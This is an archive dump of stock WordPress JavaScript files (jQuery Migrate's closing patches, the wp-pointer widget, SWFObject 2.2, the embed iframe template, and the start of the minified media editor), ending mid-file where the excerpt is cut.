migratePatchAndWarnFunc( jQuery.fn, "hover", function( fnOver, fnOut ) { return this.on( "mouseenter", fnOver ).on( "mouseleave", fnOut || fnOver ); }, "pre-on-methods", "jQuery.fn.hover() is deprecated" ); var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, makeMarkup = function( html ) { var doc = window.document.implementation.createHTMLDocument( "" ); doc.body.innerHTML = html; return doc.body && doc.body.innerHTML; }, warnIfChanged = function( html ) { var changed = html.replace( rxhtmlTag, "<$1></$2>" ); if ( changed !== html && makeMarkup( html ) !== makeMarkup( changed ) ) { migrateWarn( "self-closed-tags", "HTML tags must be properly nested and closed: " + html ); } }; /** * Deprecated, please use `jQuery.migrateDisablePatches( "self-closed-tags" )` instead. * @deprecated */ jQuery.UNSAFE_restoreLegacyHtmlPrefilter = function() { jQuery.migrateEnablePatches( "self-closed-tags" ); }; migratePatchFunc( jQuery, "htmlPrefilter", function( html ) { warnIfChanged( html ); return html.replace( rxhtmlTag, "<$1></$2>" ); }, "self-closed-tags" ); // This patch needs to be disabled by default as it re-introduces // security issues (CVE-2020-11022, CVE-2020-11023). jQuery.migrateDisablePatches( "self-closed-tags" ); var origOffset = jQuery.fn.offset; migratePatchFunc( jQuery.fn, "offset", function() { var elem = this[ 0 ]; if ( elem && ( !elem.nodeType || !elem.getBoundingClientRect ) ) { migrateWarn( "offset-valid-elem", "jQuery.fn.offset() requires a valid DOM element" ); return arguments.length ? this : undefined; } return origOffset.apply( this, arguments ); }, "offset-valid-elem" ); // Support jQuery slim which excludes the ajax module // The jQuery.param patch is about respecting `jQuery.ajaxSettings.traditional` // so it doesn't make sense for the slim build. if ( jQuery.ajax ) { var origParam = jQuery.param; migratePatchFunc( jQuery, "param", function( data, traditional ) { var ajaxTraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; if ( traditional === undefined && ajaxTraditional ) { migrateWarn( "param-ajax-traditional", "jQuery.param() no longer uses jQuery.ajaxSettings.traditional" ); traditional = ajaxTraditional; } return origParam.call( this, data, traditional ); }, "param-ajax-traditional" ); } migratePatchAndWarnFunc( jQuery.fn, "andSelf", jQuery.fn.addBack, "andSelf", "jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()" ); // Support jQuery slim which excludes the deferred module in jQuery 4.0+ if ( jQuery.Deferred ) { var oldDeferred = jQuery.Deferred, tuples = [ // Action, add listener, callbacks, .then handlers, final state [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), "rejected" ], [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ) ] ]; migratePatchFunc( jQuery, "Deferred", function( func ) { var deferred = oldDeferred(), promise = deferred.promise(); function newDeferredPipe( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var fn = typeof fns[ i ] === "function" && fns[ i ]; // Deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) // deferred.progress(function() { bind to newDefer or newDefer.notify }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && typeof returned.promise === "function" ) { returned.promise() .done( newDefer.resolve ) .fail( newDefer.reject ) .progress( newDefer.notify ); } else { newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); } migratePatchAndWarnFunc( deferred, "pipe", newDeferredPipe, "deferred-pipe", "deferred.pipe() is deprecated" ); migratePatchAndWarnFunc( promise, "pipe", newDeferredPipe, "deferred-pipe", "deferred.pipe() is deprecated" ); if ( func ) { func.call( deferred, deferred ); } return deferred; }, "deferred-pipe" ); // Preserve handler of uncaught exceptions in promise chains jQuery.Deferred.exceptionHook = oldDeferred.exceptionHook; } return jQuery; } ); wp-pointer.js 0000644 00000023771 15111757755 0007236 0 ustar 00 /** * @output wp-includes/js/wp-pointer.js */ /** * Initializes the wp-pointer widget using jQuery UI Widget Factory. */ (function($){ var identifier = 0, zindex = 9999; $.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{ options: { pointerClass: 'wp-pointer', pointerWidth: 320, content: function() { return $(this).text(); }, buttons: function( event, t ) { var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) ); return button.on( 'click.pointer', function(e) { e.preventDefault(); t.element.pointer('close'); }); }, position: 'top', show: function( event, t ) { t.pointer.show(); t.opened(); }, hide: function( event, t ) { t.pointer.hide(); t.closed(); }, document: document }, /** * A class that represents a WordPress pointer. * * @since 3.3.0 * @private * * @constructs $.widget.wp.pointer */ _create: function() { var positioning, family; this.content = $('<div class="wp-pointer-content"></div>'); this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>'); family = this.element.parents().add( this.element ); positioning = 'absolute'; if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length ) positioning = 'fixed'; this.pointer = $('<div />') .append( this.content ) .append( this.arrow ) .attr('id', 'wp-pointer-' + identifier++) .addClass( this.options.pointerClass ) .css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'}) .appendTo( this.options.document.body ); }, /** * Sets an option on the pointer instance. * * There are 4 special values that do something extra: * * - `document` will transfer the pointer to the body of the new document * specified by the value. * - `pointerClass` will change the class of the pointer element. * - `position` will reposition the pointer. * - `content` will update the content of the pointer. * * @since 3.3.0 * @private * * @param {string} key The key of the option to set. * @param {*} value The value to set the option to. */ _setOption: function( key, value ) { var o = this.options, tip = this.pointer; // Handle document transfer. if ( key === 'document' && value !== o.document ) { tip.detach().appendTo( value.body ); // Handle class change. } else if ( key === 'pointerClass' ) { tip.removeClass( o.pointerClass ).addClass( value ); } // Call super method. $.Widget.prototype._setOption.apply( this, arguments ); // Reposition automatically. if ( key === 'position' ) { this.reposition(); // Update content automatically if pointer is open. } else if ( key === 'content' && this.active ) { this.update(); } }, /** * Removes the pointer element from of the DOM. * * Makes sure that the widget and all associated bindings are destroyed. * * @since 3.3.0 */ destroy: function() { this.pointer.remove(); $.Widget.prototype.destroy.call( this ); }, /** * Returns the pointer element. * * @since 3.3.0 * * @return {Object} Pointer The pointer object. */ widget: function() { return this.pointer; }, /** * Updates the content of the pointer. * * This function doesn't update the content of the pointer itself. That is done * by the `_update` method. This method will make sure that the `_update` method * is called with the right content. * * The content in the options can either be a string or a callback. If it is a * callback the result of this callback is used as the content. * * @since 3.3.0 * * @param {Object} event The event that caused the update. * * @return {Promise} Resolves when the update has been executed. */ update: function( event ) { var self = this, o = this.options, dfd = $.Deferred(), content; if ( o.disabled ) return; dfd.done( function( content ) { self._update( event, content ); }); // Either o.content is a string... if ( typeof o.content === 'string' ) { content = o.content; // ...or o.content is a callback. } else { content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() ); } // If content is set, then complete the update. if ( content ) dfd.resolve( content ); return dfd.promise(); }, /** * Updates the content of the pointer. * * Will make sure that the pointer is correctly positioned. * * @since 3.3.0 * @private * * @param {Object} event The event that caused the update. * @param {*} content The content object. Either a string or a jQuery tree. */ _update: function( event, content ) { var buttons, o = this.options; if ( ! content ) return; // Kill any animations on the pointer. this.pointer.stop(); this.content.html( content ); buttons = o.buttons.call( this.element[0], event, this._handoff() ); if ( buttons ) { buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content ); } this.reposition(); }, /** * Repositions the pointer. * * Makes sure the pointer is the correct size for its content and makes sure it * is positioned to point to the right element. * * @since 3.3.0 */ reposition: function() { var position; if ( this.options.disabled ) return; position = this._processPosition( this.options.position ); // Reposition pointer. this.pointer.css({ top: 0, left: 0, zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers. }).show().position($.extend({ of: this.element, collision: 'fit none' }, position )); // The object comes before this.options.position so the user can override position.of. this.repoint(); }, /** * Sets the arrow of the pointer to the correct side of the pointer element. * * @since 3.3.0 */ repoint: function() { var o = this.options, edge; if ( o.disabled ) return; edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge; // Remove arrow classes. this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' ); // Add arrow class. this.pointer.addClass( 'wp-pointer-' + edge ); }, /** * Calculates the correct position based on a position in the settings. * * @since 3.3.0 * @private * * @param {string|Object} position Either a side of a pointer or an object * containing a pointer. * * @return {Object} result An object containing position related data. */ _processPosition: function( position ) { var opposite = { top: 'bottom', bottom: 'top', left: 'right', right: 'left' }, result; // If the position object is a string, it is shorthand for position.edge. if ( typeof position == 'string' ) { result = { edge: position + '' }; } else { result = $.extend( {}, position ); } if ( ! result.edge ) return result; if ( result.edge == 'top' || result.edge == 'bottom' ) { result.align = result.align || 'left'; result.at = result.at || result.align + ' ' + opposite[ result.edge ]; result.my = result.my || result.align + ' ' + result.edge; } else { result.align = result.align || 'top'; result.at = result.at || opposite[ result.edge ] + ' ' + result.align; result.my = result.my || result.edge + ' ' + result.align; } return result; }, /** * Opens the pointer. * * Only opens the pointer widget in case it is closed and not disabled, and * calls 'update' before doing so. Calling update makes sure that the pointer * is correctly sized and positioned. * * @since 3.3.0 * * @param {Object} event The event that triggered the opening of this pointer. */ open: function( event ) { var self = this, o = this.options; if ( this.active || o.disabled || this.element.is(':hidden') ) return; this.update().done( function() { self._open( event ); }); }, /** * Opens and shows the pointer element. * * @since 3.3.0 * @private * * @param {Object} event An event object. */ _open: function( event ) { var self = this, o = this.options; if ( this.active || o.disabled || this.element.is(':hidden') ) return; this.active = true; this._trigger( 'open', event, this._handoff() ); this._trigger( 'show', event, this._handoff({ opened: function() { self._trigger( 'opened', event, self._handoff() ); } })); }, /** * Closes and hides the pointer element. * * @since 3.3.0 * * @param {Object} event An event object. */ close: function( event ) { if ( !this.active || this.options.disabled ) return; var self = this; this.active = false; this._trigger( 'close', event, this._handoff() ); this._trigger( 'hide', event, this._handoff({ closed: function() { self._trigger( 'closed', event, self._handoff() ); } })); }, /** * Puts the pointer on top by increasing the z-index. * * @since 3.3.0 */ sendToTop: function() { if ( this.active ) this.pointer.css( 'z-index', zindex++ ); }, /** * Toggles the element between shown and hidden. * * @since 3.3.0 * * @param {Object} event An event object. */ toggle: function( event ) { if ( this.pointer.is(':hidden') ) this.open( event ); else this.close( event ); }, /** * Extends the pointer and the widget element with the supplied parameter, which * is either an element or a function. * * @since 3.3.0 * @private * * @param {Object} extend The object to be merged into the original object. * * @return {Object} The extended object. */ _handoff: function( extend ) { return $.extend({ pointer: this.pointer, element: this.element }, extend); } }); })(jQuery); swfobject.js 0000644 00000023767 15111757755 0007125 0 ustar 00 /* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+encodeURI(O.location).toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}(); wp-embed-template.js 0000644 00000015173 15111757755 0010440 0 ustar 00 /** * @output wp-includes/js/wp-embed-template.js */ (function ( window, document ) { 'use strict'; var supportedBrowser = ( document.querySelector && window.addEventListener ), loaded = false, secret, secretTimeout, resizing; function sendEmbedMessage( message, value ) { window.parent.postMessage( { message: message, value: value, secret: secret }, '*' ); } /** * Send the height message to the parent window. */ function sendHeightMessage() { sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) ); } function onLoad() { if ( loaded ) { return; } loaded = true; var share_dialog = document.querySelector( '.wp-embed-share-dialog' ), share_dialog_open = document.querySelector( '.wp-embed-share-dialog-open' ), share_dialog_close = document.querySelector( '.wp-embed-share-dialog-close' ), share_input = document.querySelectorAll( '.wp-embed-share-input' ), share_dialog_tabs = document.querySelectorAll( '.wp-embed-share-tab-button button' ), featured_image = document.querySelector( '.wp-embed-featured-image img' ), i; if ( share_input ) { for ( i = 0; i < share_input.length; i++ ) { share_input[ i ].addEventListener( 'click', function ( e ) { e.target.select(); } ); } } function openSharingDialog() { share_dialog.className = share_dialog.className.replace( 'hidden', '' ); // Initial focus should go on the currently selected tab in the dialog. document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ).focus(); } function closeSharingDialog() { share_dialog.className += ' hidden'; document.querySelector( '.wp-embed-share-dialog-open' ).focus(); } if ( share_dialog_open ) { share_dialog_open.addEventListener( 'click', function () { openSharingDialog(); } ); } if ( share_dialog_close ) { share_dialog_close.addEventListener( 'click', function () { closeSharingDialog(); } ); } function shareClickHandler( e ) { var currentTab = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ); currentTab.setAttribute( 'aria-selected', 'false' ); document.querySelector( '#' + currentTab.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' ); e.target.setAttribute( 'aria-selected', 'true' ); document.querySelector( '#' + e.target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' ); } function shareKeyHandler( e ) { var target = e.target, previousSibling = target.parentElement.previousElementSibling, nextSibling = target.parentElement.nextElementSibling, newTab, newTabChild; if ( 37 === e.keyCode ) { newTab = previousSibling; } else if ( 39 === e.keyCode ) { newTab = nextSibling; } else { return false; } if ( 'rtl' === document.documentElement.getAttribute( 'dir' ) ) { newTab = ( newTab === previousSibling ) ? nextSibling : previousSibling; } if ( newTab ) { newTabChild = newTab.firstElementChild; target.setAttribute( 'tabindex', '-1' ); target.setAttribute( 'aria-selected', false ); document.querySelector( '#' + target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' ); newTabChild.setAttribute( 'tabindex', '0' ); newTabChild.setAttribute( 'aria-selected', 'true' ); newTabChild.focus(); document.querySelector( '#' + newTabChild.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' ); } } if ( share_dialog_tabs ) { for ( i = 0; i < share_dialog_tabs.length; i++ ) { share_dialog_tabs[ i ].addEventListener( 'click', shareClickHandler ); share_dialog_tabs[ i ].addEventListener( 'keydown', shareKeyHandler ); } } document.addEventListener( 'keydown', function ( e ) { if ( 27 === e.keyCode && -1 === share_dialog.className.indexOf( 'hidden' ) ) { closeSharingDialog(); } else if ( 9 === e.keyCode ) { constrainTabbing( e ); } }, false ); function constrainTabbing( e ) { // Need to re-get the selected tab each time. var firstFocusable = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ); if ( share_dialog_close === e.target && ! e.shiftKey ) { firstFocusable.focus(); e.preventDefault(); } else if ( firstFocusable === e.target && e.shiftKey ) { share_dialog_close.focus(); e.preventDefault(); } } if ( window.self === window.top ) { return; } // Send this document's height to the parent (embedding) site. sendHeightMessage(); // Send the document's height again after the featured image has been loaded. if ( featured_image ) { featured_image.addEventListener( 'load', sendHeightMessage ); } /** * Detect clicks to external (_top) links. */ function linkClickHandler( e ) { var target = e.target, href; if ( target.hasAttribute( 'href' ) ) { href = target.getAttribute( 'href' ); } else { href = target.parentElement.getAttribute( 'href' ); } // Only catch clicks from the primary mouse button, without any modifiers. if ( event.altKey || event.ctrlKey || event.metaKey || event.shiftKey ) { return; } // Send link target to the parent (embedding) site. if ( href ) { sendEmbedMessage( 'link', href ); e.preventDefault(); } } document.addEventListener( 'click', linkClickHandler ); } /** * Iframe resize handler. */ function onResize() { if ( window.self === window.top ) { return; } clearTimeout( resizing ); resizing = setTimeout( sendHeightMessage, 100 ); } /** * Message handler. * * @param {MessageEvent} event */ function onMessage( event ) { var data = event.data; if ( ! data ) { return; } if ( event.source !== window.parent ) { return; } if ( ! ( data.secret || data.message ) ) { return; } if ( data.secret !== secret ) { return; } if ( 'ready' === data.message ) { sendHeightMessage(); } } /** * Re-get the secret when it was added later on. */ function getSecret() { if ( window.self === window.top || !!secret ) { return; } secret = window.location.hash.replace( /.*secret=([\d\w]{10}).*/, '$1' ); clearTimeout( secretTimeout ); secretTimeout = setTimeout( function () { getSecret(); }, 100 ); } if ( supportedBrowser ) { getSecret(); document.documentElement.className = document.documentElement.className.replace( /\bno-js\b/, '' ) + ' js'; document.addEventListener( 'DOMContentLoaded', onLoad, false ); window.addEventListener( 'load', onLoad, false ); window.addEventListener( 'resize', onResize, false ); window.addEventListener( 'message', onMessage, false ); } })( window, document ); media-editor.min.js 0000644 00000025205 15111757755 0010251 0 ustar 00 /*! This file is auto-generated */ !function(a,r){var i={};wp.media.coerce=function(e,t){return r.isUndefined(e[t])&&!r.isUndefined(this.defaults[t])?e[t]=this.defaults[t]:"true"===e[t]?e[t]=!0:"false"===e[t]&&(e[t]=!1),e[t]},wp.media.string={props:function(e,t){var i,n=wp.media.view.settings.defaultProps;return e=e?r.clone(e):{},t&&t.type&&(e.type=t.type),"image"===e.type&&(e=r.defaults(e||{},{align:n.align||getUserSetting("align","none"),size:n.size||getUserSetting("imgsize","medium"),url:"",classes:[]})),t&&(e.title=e.title||t.title,"file"===(n=e.link||n.link||getUserSetting("urlbutton","file"))||"embed"===n?i=t.url:"post"===n?i=t.link:"custom"===n&&(i=e.linkUrl),e.linkUrl=i||"","image"===t.type?(e.classes.push("wp-image-"+t.id),i=(n=t.sizes)&&n[e.size]?n[e.size]:t,r.extend(e,r.pick(t,"align","caption","alt"),{width:i.width,height:i.height,src:i.url,captionId:"attachment_"+t.id})):"video"===t.type||"audio"===t.type?r.extend(e,r.pick(t,"title","type","icon","mime")):(e.title=e.title||t.filename,e.rel=e.rel||"attachment wp-att-"+t.id)),e},link:function(e,t){t={tag:"a",content:(e=wp.media.string.props(e,t)).title,attrs:{href:e.linkUrl}};return e.rel&&(t.attrs.rel=e.rel),wp.html.string(t)},audio:function(e,t){return wp.media.string._audioVideo("audio",e,t)},video:function(e,t){return wp.media.string._audioVideo("video",e,t)},_audioVideo:function(e,t,i){var 